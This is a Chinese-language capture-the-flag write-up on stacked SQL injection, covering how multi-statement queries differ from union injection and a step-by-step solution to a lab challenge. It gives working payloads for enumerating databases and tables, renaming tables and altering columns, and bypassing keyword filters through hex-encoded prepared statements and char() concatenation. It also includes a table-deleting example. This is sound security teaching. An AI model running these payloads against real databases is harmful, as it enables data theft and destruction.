0x00知識點:堆疊注入
在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合並在一起,兩者之間有什么區別么?區別就在於union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。用戶輸入:1; DELETE FROM products服務器端生成的sql語句為:(因未對輸入的參數進行過濾)Select * from products where productid=1;DELETE FROM products當執行查詢后,第一條顯示查詢信息,第二條則將整個表進行刪除。
堆疊注入的使用條件十分有限,其可能受到API或者數據庫引擎,又或者權限的限制只有當調用數據庫函數支持執行多條sql語句時才能夠使用,利用mysqli_multi_query()函數就支持多條sql語句同時執行,但實際情況中,如PHP為了防止sql注入機制,往往使用調用數據庫的函數是mysqli_ query()函數,其只能執行一條語句,分號后面的內容將不會被執行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網站造成十分大的威脅。
打開此題,進行常規測試,如1' or 1=1# ,1' order by 1# 在1' order by 3時報錯,說明列數為2
繼續:1' union select 1,2#
發現幾乎全部關鍵字都給過濾,這時可以猜測是堆疊注入
利用堆疊注入,查詢所有數據庫:
1';show databases;#
查詢所有表
1';show tables;#
查詢words表中的列:
1';show columns from words;#
查詢1919810931114514表中所有列1';show columns from 1919810931114514
;#(字符串為表名操作時要加反引號)
注:在網上百度發現
【字串為表名的表操作時要加反引號】
根據兩個表的情況結合實際查詢出結果的情況判斷出words是默認查詢的表,因為查詢出的結果是一個數字加一個字符串,words表結構是id和data,傳入的inject參數也就是賦值給了id
法一:
這道題沒有禁用rename和alert,所以我們可以采用修改表結構的方法來得到flag將words表名改為words1,再將數字名表改為words,這樣數字名表就是默認查詢的表了,但是它少了一個id列,可以將flag字段改為id,或者添加id字段
1';rename tables words
to words1
;rename tables 1919810931114514
to words
; alter table words
change flag
id
varchar(100);#
這段代碼的意思是將words表名改為words1,1919810931114514表名改為words,將現在的words表中的flag列名改為id然后用1' or 1=1 #得到flag
【考一下發現改變表后直接1' or 1=1#可以返回id值】
方法二
(mysql預處理):語句一:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
(那一串是select * from 1919810931114514
的十六進制)
語句二:
1';SET @sql=concat(char(115,101,108,101,99,116)," * from 1919810931114514
");PREPARE sqla from @sql;EXECUTE sqla;#
(char(115,101,108,101,99,116)是把s e l e c t的ascii碼轉換為字符連接起來,再把后面的拼接起來就成了select * from 1919810931114514
)